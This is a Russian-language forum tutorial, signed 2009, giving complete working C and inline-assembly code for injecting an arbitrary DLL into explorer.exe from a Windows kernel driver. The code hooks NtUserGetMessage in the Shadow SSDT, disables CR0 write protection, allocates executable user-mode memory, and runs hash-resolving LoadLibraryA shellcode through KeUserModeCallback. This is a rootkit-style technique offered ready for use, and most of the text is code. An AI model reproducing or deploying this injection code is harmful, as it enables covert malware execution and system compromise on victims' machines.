В одной из своих разработак столкнулся с проблемкой - необходимо подгрузить определенную DLL к эксплореру. Сложность задачи была в том, что необходимо было это всё сделать из драйвера. Реализация вышла геморной и через жопу, но работает нормально на Win 2000,XP,2003 на остальных нет возможностей потестить.
И так алгоритм таков:
1) попасть в контекст нужного процесса (эксплорера)
2) выделить в нем память в его юзермодной части адресов
3) записать в эту память шелкод который подгрузит нашу dll
4) выполнить шелкод
5) каким то образом узнать о том, что код выполнился.
С виду всё просто, но на практике столкнулся с несколькими жопными моментами -
таких как попадание в контекст процесса, и запуск нужного нам кода.
А теперь по парядку как всё было реализовано
1) Попадание в контекст процесса
Т.к. эксплорер ничего не знает о нашем драйвере, то и обращаться к нему не станет, по этому нам нужно чтото похукать чтобы попасть в контекст эксплорера.
По логике вещей хукать нужно то, что часто вызывается. Сразу в голову пришло хукать SYSENTER и в добавок для win2k еще и INT2E. Но метод отпал быстро из-за очень геморной реализации хука SYSENTER в плане работы внутри хука.
Можно было еще похукать какойнить драйвер и в перехватчике IRP_MJ_*** выполнять наши данные. Но в виду хз каких обстоятельств сразу недодумался до этого и пошел другим путём. А именно - хук какойнить часто используемой функции из ntoskrnl.exe. Хукал через SDT одну фунцию работы с реестром, но это не помогло т.к. не иногда ждать приходилось пару минут в виду того что эксплорер редко работал с реестром в неактивном состоянии. По этому пришлось хукать функции win32k.sys отвечающие за работу с графической подсистемой винды. И тут появились первые ступоры - хукать нужно не в ServiceDescriptorTable а в ShadowServiceDescriptorTable которая в отличии от ServiceDescriptorTable напрямую не экспортируется. Для поиска ShadowSDT был заюзан способ поиска через KeAddSystemServiceTable.
Код:
typedef struct _SYSTEM_SERVICE_TABLE
{
PNTPROC ServiceTable;
PDWORD CounterTable;
ULONG ServiceLimit;
PBYTE ArgumentTable;
} SYSTEM_SERVICE_TABLE, *PSYSTEM_SERVICE_TABLE;
typedef struct _SERVICE_DESCRIPTOR_TABLE
{
SYSTEM_SERVICE_TABLE ntoskrnl; //SST для ntoskrnl.exe
SYSTEM_SERVICE_TABLE win32k; //SST для win32k.sys
SYSTEM_SERVICE_TABLE unused1;
SYSTEM_SERVICE_TABLE unused2;
} SERVICE_DESCRIPTOR_TABLE,*PSERVICE_DESCRIPTOR_TABLE;
PSERVICE_DESCRIPTOR_TABLE ShadowTable;
extern SYSTEM_SERVICE_TABLE * KeServiceDescriptorTable;
__declspec(dllimport) KeAddSystemServiceTable(ULONG,ULONG,ULONG,ULONG,ULONG);
SYSTEM_SERVICE_TABLE * GetShadowSDT()
{
unsigned char *check = (unsigned char*)KeAddSystemServiceTable;
int i;
SYSTEM_SERVICE_TABLE *rc=0;
for (i=0; i<=99; i++)
{
__try
{
rc=*(SYSTEM_SERVICE_TABLE**)check;
if (!MmIsAddressValid(rc)||(rc==KeServiceDescriptorTable)||(memcmp(rc,KeServiceDescriptorTable,sizeof(*rc))!=0))
{
check++;
rc = 0;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {rc=0;}
if (rc) break;
}
return rc;
}
Теперь через функцию GetShadowSDT мы сможет получить нужным нам адрес.
Установка хука происходит точно также как и в SDT но с учетом того, что мы должны предварительно приаттачится к нужному нам процессу через KeAttachProcess. Чтобы приаттачиться нам необходимо знать PEPROCESS процесса. Его мы будет получать через PsLookupProcessByProcessId. И по этому у нас появляется необходимость узнать PID эксплорера. Делаем так:
Код:
#define SystemProcessInformation 5
int GetPidByName(WCHAR * name)
{
PSYSTEM_PROCESSES_INFORMATION pSystemProcessesInfo, pInfo;
NTSTATUS ns;
ULONG dSize=4096;
ULONG dData=0;
PVOID shi;
do
{
shi=ExAllocatePool(NonPagedPool,dSize);
if (shi==NULL) return 0;
ns=ZwQuerySystemInformation(SystemProcessInformation,shi,dSize,&dData);
if (ns==STATUS_INFO_LENGTH_MISMATCH)
{
ExFreePool(shi);
dSize*=2;
}
} while (ns!=0);
pSystemProcessesInfo=pInfo=(PSYSTEM_PROCESSES_INFORMATION)shi;
ns=0;
if (pSystemProcessesInfo)
{
while (1)
{
if (pSystemProcessesInfo->ProcessName.Buffer)
{
if (!wcscmp(pSystemProcessesInfo->ProcessName.Buffer, name))
{
ns=pSystemProcessesInfo->ProcessId;
break;
}
}
if (!pSystemProcessesInfo->NextEntryDelta) break;
pSystemProcessesInfo = (PSYSTEM_PROCESSES_INFORMATION)((ULONG)pSystemProcessesInfo + pSystemProcessesInfo->NextEntryDelta);
}
}
ExFreePool(pInfo);
return ns;
}
Теперь вызов pid=GetPidByName(L"explorer.exe"); даст нам нужный PID.
При выборе функции для хука взгляд пал на NtUserGetMessage т.к. она очень активно используется процессами у которых есть окна.
Получаем ID этой функции в таблице с учетом ОС
Код:
switch (*NtBuildNumber)
{
case 2195:NtUserGetMessageID=0x19A; break; // win 2k
case 2600:NtUserGetMessageID=0x1A5; break; // win XP
case 3790:NtUserGetMessageID=0x1A4; break; // win 2k3
default: return -1;
}
Для того чтобы ставить хук и снимать его была написана спец функция
Код:
// NewADDR - адрес нового обработчике
// ID - номер сервиса в таблице
// type -
// 0 - установить перехват
// 1 - снять перехват из-за таймаута
// 2 - снять перехват в случие удачи
BOOLEAN HOOK_SHADOW(PVOID NewADDR,ULONG ID,ULONG type)
{
NTSTATUS status;
PEPROCESS EProc;
// если type=2 то ном не нужно аттачитсья к процессу, т.к. мы уже приаттачины к ниму.
if (type<2) // Если хукаем или снимаем хук по таймауту
{
// pid - глобальная переменная, хранит PID эксплорера
status=PsLookupProcessByProcessId(pid, &EProc); // получаем PEPROCESS эксплорера
if (!NT_SUCCESS(status)) return FALSE;
KeAttachProcess(EProc);
}
if (type==0) // если ставим хук
{
// сохраним в глобальную переменную настоящий адрес функции
TrueNtUserGetMessage=ShadowTable->win32k.ServiceTable[ID];
}
// отключам защиту памяти
__asm
{
CLI
MOV EAX,CR0
AND EAX,NOT 10000H
MOV CR0,EAX
}
ShadowTable->win32k.ServiceTable[ID]=NewADDR; //хукаем
// включаем защиту памяти
__asm
{
MOV EAX,CR0
OR EAX,10000H
MOV CR0,EAX
STI
}
if (type<2) KeDetachProcess(); // деаттачимся от процесса если надо.
return TRUE;
}
Чтобы поставить хук нужно выполнить:
HOOK_SHADOW(MyNtUserGetMessage,NtUserGetMessageID, 0)
Чтобы снять
HOOK_SHADOW(TrueNtUserGetMessage,NtUserGetMessageI D,1); // по таймауту
или
HOOK_SHADOW(TrueNtUserGetMessage,NtUserGetMessageI D,2);
Обработчик хука будет выглядеть так:
Код:
BOOLEAN MyNtUserGetMessage(OUT ULONG pmsg,IN ULONG hwnd,IN ULONG wMsgFilterMin,IN ULONG wMsgFilterMax)
{
// inhook - шлобальная переменнах хранящая инфу о хуке
// 0 - снят.
// 1 - установлен
if (inhook!=0&&(ULONG)PsGetCurrentProcessId()==pid) // если хук поставлен и нужный нам PID
{
// проверли inhook чтобы сделать простенькую синхронизацию
HOOK_SHADOW(TrueNtUserGetMessage,NtUserGetMessageID,2); // снимаем хук
inhook=0;
DLLINJECTPROC(); // вызываем нашу процедуру инжекта DLL
// Для уведомления об результате
KeSetEvent(&event,0,FALSE);
KeClearEvent(&event);
}
// вызываем настоящий обработчик
return TrueNtUserGetMessage(pmsg,hwnd,wMsgFilterMin,wMsgFilterMax);
2) Выделяем память, кидаем туда шелкод и выполняем его
Вся работа по выделению памяти и запуску шелкода была переложена на DLLINJECTPROC. вызов юзермодного когда будет осущствляться через KeUserModeCallback (Огромное спасибо
Twister за метод)
Код:
typedef struct _CMD_PARAMS
{
PCHAR dll;
} CMD_PARAMS, * PCMD_PARAMS;
VOID DLLINJECTPROC(VOID)
{
PROCESS_BASIC_INFORMATION pbi;
NTSTATUS status;
int ret;
PPEB Peb=NULL;
PVOID pMem = NULL, OutputBuffer,CmdAddr;
ULONG OutputLength;
ULONG dwSize = PAGE_SIZE; // 4 Кб
ULONG KernelCallbackTable = 0;
ULONG TableIndex, dwUserCodeSize;
GLobalStatus=-1;
// получаем PEB процесса
status=ZwQueryInformationProcess((HANDLE)-1, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL);
if (NT_SUCCESS(status))
{
Peb = pbi.PebBaseAddress;
}
if (Peb)
{
KernelCallbackTable=*(ULONG*)((ULONG)Peb + 0x2C); // вычесляем адрес таблицы
// выделям память в юзермодном пространстве
status=ZwAllocateVirtualMemory((HANDLE)-1, &pMem, 0, &dwSize, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
if (NT_SUCCESS(status))
{
*(ULONG*)pMem=(ULONG)pMem+4;
TableIndex=((ULONG)pMem-KernelCallbackTable)/sizeof(ULONG);
dwUserCodeSize=(ULONG)SHELLCODE_END-(ULONG)SHELLCODE_START;
CmdAddr = (PVOID)((ULONG)pMem+4+dwUserCodeSize);
__try
{
// копируем в буфер шелкод и имя dll
RtlCopyMemory((PVOID)((ULONG)pMem + 4), SHELLCODE_START, dwUserCodeSize);
RtlCopyMemory(CmdAddr, StackParams.dll, strlen(StackParams.dll));
StackParams.dll=CmdAddr;
// вызываме наш код
status = KeUserModeCallback(TableIndex,&StackParams,sizeof(CMD_PARAMS),&OutputBuffer,&OutputLength );
// наш код должен вернуть 0xDEADC0DE
// GLobalStatus - глобальная переменнах хранящая инфу о результате выполнения
if (status==0xDEADC0DE) GLobalStatus=0;
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
}
// удаляем память
ZwFreeVirtualMemory((HANDLE)-1, &pMem, &dwSize, MEM_DECOMMIT);
}
}
return;
}
3) Собственно говоря шелкод
Алгоритм работы шелкода: Поиск адреса Kernel32.dll -> поиск адреса функции LoadLibraryA по её хешу -> LoadLibrary нашу DLL
Код:
ULONG SHELLCODE_START(PCMD_PARAMS lpData,ULONG dwDataSize)
{
__asm
{
xor eax,eax
add eax,fs:[eax+0x30]
mov eax,[eax+0x0c]
mov esi,[eax+0x1c]
lodsd
mov eax,[eax+0x08] // eax = адрес KERNEL32.DLL
mov ebx,eax
add eax,[eax+0x3C] // PE заголовок
mov edx,[eax+0x78]// Таблица экспорта
add edx,ebx
xor ecx,ecx
mov edi,[edx+0x20]// Таблица экспортируемых имен
add edi,ebx
getproc_scan:
mov esi,ebx
add esi,[edi+(ecx)*4] //Адрес имени функции
xor eax,eax
getproc_hash:// считаем хеш
rol eax,7
xor al,[esi]
inc esi
cmp byte ptr [esi],0
jnz getproc_hash
xor eax,0xC8AC8026 // сравниваем с нашим хешем для LoadLibraryA
jz getproc_found
inc ecx
cmp ecx,[edx+0x18]
jne getproc_scan
xor eax, eax
jmp getproc_quit // если не нашли нужную апишку
getproc_found: // если нашли
mov eax,[edx+0x24]
add eax,ebx
mov ax,[eax+ecx*2]
and eax,0x0000FFFF
shl eax,2
mov edx,[edx+0x1C]
add edx,ebx
mov eax,[edx+eax]
add eax,ebx // eax = Адрес LoadLibraryA
getproc_quit:
mov ebx,[ebp+8]
push [ebx] // занесем в стек имя нашел dll
call eax
mov eax,0xDEADC0DE // вернем наше магическое число
}
}
VOID SHELLCODE_END(){}
4) Уведомление о выполнении и таймаут
С учетом всего вышеизложенного пишем функцию которая будет заниматься непосредственно подготовкой к подгрузке DLL
Код:
int InjectDLL(char* dllname)
{
LARGE_INTEGER timeout;
pid=GetPidByName(L"explorer.exe"); // получаем PID эксплорера
if (pid==0) return -1; // если не смогли получить то выходим
inhook=0;
StackParams.dll=dllname; // указатель на имя нашел DLL
KeInitializeEvent(&event, NotificationEvent, FALSE); // Создаем событие для уведобления
// Получаем ID сервиса для хука
switch (*NtBuildNumber)
{
case 2195:NtUserGetMessageID=0x19A; break;
case 2600:NtUserGetMessageID=0x1A5; break;
case 3790:NtUserGetMessageID=0x1A4; break;
default: return -1;
}
// находим адрес Shadow SDT
ShadowTable=(PSERVICE_DESCRIPTOR_TABLE)GetShadowSDT();
if (!ShadowTable) return -1; // если не нашли
// пытаемся хукать
if (!HOOK_SHADOW(MyNtUserGetMessage,NtUserGetMessageID,0)) return -1;
// если хук установлен
inhook=1;
timeout.QuadPart=RELATIVE(SECONDS(100)); // 100 секунд даем для подгрузки DLL
// ждем положенное время
if (KeWaitForSingleObject(&event, Executive, KernelMode,FALSE, &timeout) != STATUS_TIMEOUT)
{
// подгрузили удачно
return GLobalStatus;
}
else
{
// если врмя истекло
if (inhook!=0) // если хук до сих пор еще установлен
{
// снимаем хук по таймауту
HOOK_SHADOW(TrueNtUserGetMessage,NtUserGetMessageID,1);
inhook=0;
}
return -1;
}
}
Теперь когда нам нужно подгрузить dll мы выполним код:
InjectDLL("MyDLL.dll");
P.S. dll желательно чтобы находилась в SYSTEM32, в противном случае лучше указать тогда полный путь до неё.
В заключение
Чтобы не было глюков связанных с тем, что хук установлен и драйвер выгружается из системы, то напишим функцию которую необходимо будет вызвать из анлоада драйвера. Функция в случае наличия перехвата снимит его
Код:
VOID StopInject(VOID)
{
if (inhook!=0)
{
HOOK_SHADOW(TrueNtUserGetMessage,NtUserGetMessageID,1);
inhook=0;
}
return;
}
Ну вот и всё!!! Садомазо удалось!
(C) SLESH 2009